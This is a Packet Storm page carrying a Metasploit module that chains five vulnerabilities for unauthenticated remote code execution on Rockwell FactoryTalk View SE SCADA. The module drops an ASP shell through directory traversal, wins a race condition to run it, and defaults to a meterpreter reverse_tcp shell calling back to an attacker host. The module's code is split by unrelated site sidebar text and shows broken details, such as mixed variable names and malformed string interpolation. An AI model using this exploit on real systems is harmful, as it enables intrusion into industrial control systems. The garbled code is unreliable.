

## Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution

Authored by [Pedro Ribeiro](#), [Radek Domanski](#) | Site [metasploit.com](#)

Posted Nov 20, 2020

This Metasploit module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.

tags | [exploit](#), [remote](#), [vulnerability](#), [code execution](#)

advisories | [CVE-2020-12027](#), [CVE-2020-12028](#), [CVE-2020-12029](#)

SHA-256 | [b5c77494a3939a1827cb333698735a7315890ad559b41cca1a66fcb96bc0b9e](#)

[Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

```
Change Mirror Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
          on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
          The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an
          unauthenticated project copy request,
          the second is a directory traversal, and the third is a race condition. In order to achieve full
          remote code execution on all
          targets, two information leak vulnerabilities are also abused.
          This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to
          win the EWS category.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami' ],
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md' ],
          [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md' ],
          [ 'CVE', '2020-12027' ],
          [ 'CVE', '2020-12028' ],
          [ 'CVE', '2020-12029' ],
          [ 'ZDI', '20-727' ],
          [ 'ZDI', '20-728' ],
          [ 'ZDI', '20-729' ],
          [ 'ZDI', '20-730' ],
        ],
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Payload' => {
          'DefaultOptions' => {
            'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
          }
        },
        'DefaultOptions' => { 'MfsDelay' => 20 },
        'Targets' => [
          [ 'Rockwell Automation FactoryTalk SE', {} ]
        ],
        'DisclosureDate' => '2020-06-22',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
        OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]),
        OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
      ]
    )
  end

  def send_to_factory(path)
    send_request_cgi(
      'uri' => normalize_uri(target_uri, path),
      'method' => 'GET'
    )
  end

  def check
    res = send_to_factory('/hmi_isapi.dll')
    return Exploit::CheckCode::Safe unless res && res.code == 200

    # Parse version from response body
    # Example: Version 11.00.00.230
    version = res.body.scan(/Version ([0-9.]{5,})/).flatten.first.to_s.split('.')

    # Is returned version sound?
    unless version.empty?
      if version.length != 4
        return Exploit::CheckCode::Detected
      end

      print_status("#[peer] - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}")
      if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
        # We know this exact version is vulnerable (11.00.00.230)
        return Exploit::CheckCode::Appears
      end

      return Exploit::CheckCode::Detected
    end
  end
end
```

Search ...

Follow us on Twitter

Subscribe to an RSS Feed

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu1security 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

### File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	

### File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

### Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,600)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
return Exploit::CheckCode::Unknown
end

def on_request_uri(cli, request)
  if request.uri.include?($shelly)
    print_good("#{peer} - Target connected, sending payload")
    psh = cmd_psh_payload(
      payload.encoded,
      payload.arch.first
      # without comspec it seems to fail, so keep it this way
      # remove_comspec: true
    )
    # add double quotes for classic ASP escaping
    psh.gsub!('"', '')

    # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
    # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
    # If this module is not working on an older Windows version, try the below as payload:
    # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
    payload = %(<<CreateObject("WScript.Shell").exec("#{psh}")>>)
    send_response(cli, payload)
    # payload file is deleted automatically by the server once we win the race!

  elsif request.uri.include?($proj_name)
    # Directory traversal: vulnerable asp file will land in the path we provide
    print_good("#{peer} - Target connected, sending file path with dir traversal")
    # Check the comments in the Infoleak 2 (project installation path) to understand why
    filename = %(/$/$/HMI Projects/$(shelly))
    send_response(cli, filename)
  end
end

def exploit
  # Infoleak 1 (project listing)
  print_status("#{peer} - Listing projects on the server")
  res = send_to_factory("/hmi_isapi.dll?GetHMIProjects")

  fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless
    res && res.code == 200 && res.body.include?('HMIProject')

  print_status("#{peer} - Received list of projects from the server")
  @proj_name = nil
  proj_path = ''
  xml = res.get_xml_document

  # Parse XML project list and check each project for installation project path
  xml.search('HMIProject').each do |project|
    # Infoleak 2 (project installation path)
    # In the original exploit, we used this to calculate the directory traversal path, but
    # Google says the path is the same for all versions since at least 2007.
    # Let's still abuse it to check if the project is valid.
    url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}"
    res = send_to_factory(url)

    proj_path = res.body.strip

    # Check if response contains :\\ that indicates a windows path
    next unless proj_path.include?(':\\')

    print_status("#{peer} - Found project path: #{proj_path}")

    # We only need first hit so we can quit the project parsing once we get it
    if project.attributes['Name']
      @proj_name = project.attributes['Name']
      break
    end
  end

  if !@proj_name
    fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing
out...')
  end

  shell_path = proj_path.sub(@proj_name, '').strip
  print_good("#{peer} - Got a path to drop our shell: #{shell_path}")

  # Start http server for project copy callback
  http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
  print_status("#{peer} - Starting up our web service on #{http_service} ...")

  start_service({ 'Uri' => {
    'Proc' => proc do |cli, req|
      on_request_uri(cli, req)
    end,
    # This path has to be capitalized as "RSViewSE" or else the exploit will fail!
    'Path' => '/RSViewSE/'
  } })

  # Race Condition
  # This is the racer thread. It will continuously access our asp file until it gets executed
  print_status("#{peer} - Starting racer thread, let's win this race condition!")
  $shelly = %({rand_text_alpha(5..10)}.asp)
  racer = Thread.new do
    loop do
      res = send_to_factory("/#{@shelly}")
      if res.code == 200
        print_good("#{peer} - We've won the race condition, shell incoming!")
        break
      end
    end
  end

  # Project Copy Request: target will connect to us to obtain project information.
  print_status("#{peer} - Initiating project copy request...")
  url = "/hmi_isapi.dll?startRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{
datastore['SRVHOST']}&#{datastore['SRVPORT']}&1"
  res = send_to_factory(url)

  # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
  count = 0
  while count < datastore['SLEEP_RACER']
    break if racer.status == false

    sleep(1)
    count += 1
  end
  racer.exit
end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

**packet storm**  
© 2022 Packet Storm. All rights reserved.

#### Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

#### About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

#### Hosting By

[Rokasec](#)

 Follow us on Twitter

 Subscribe to an RSS Feed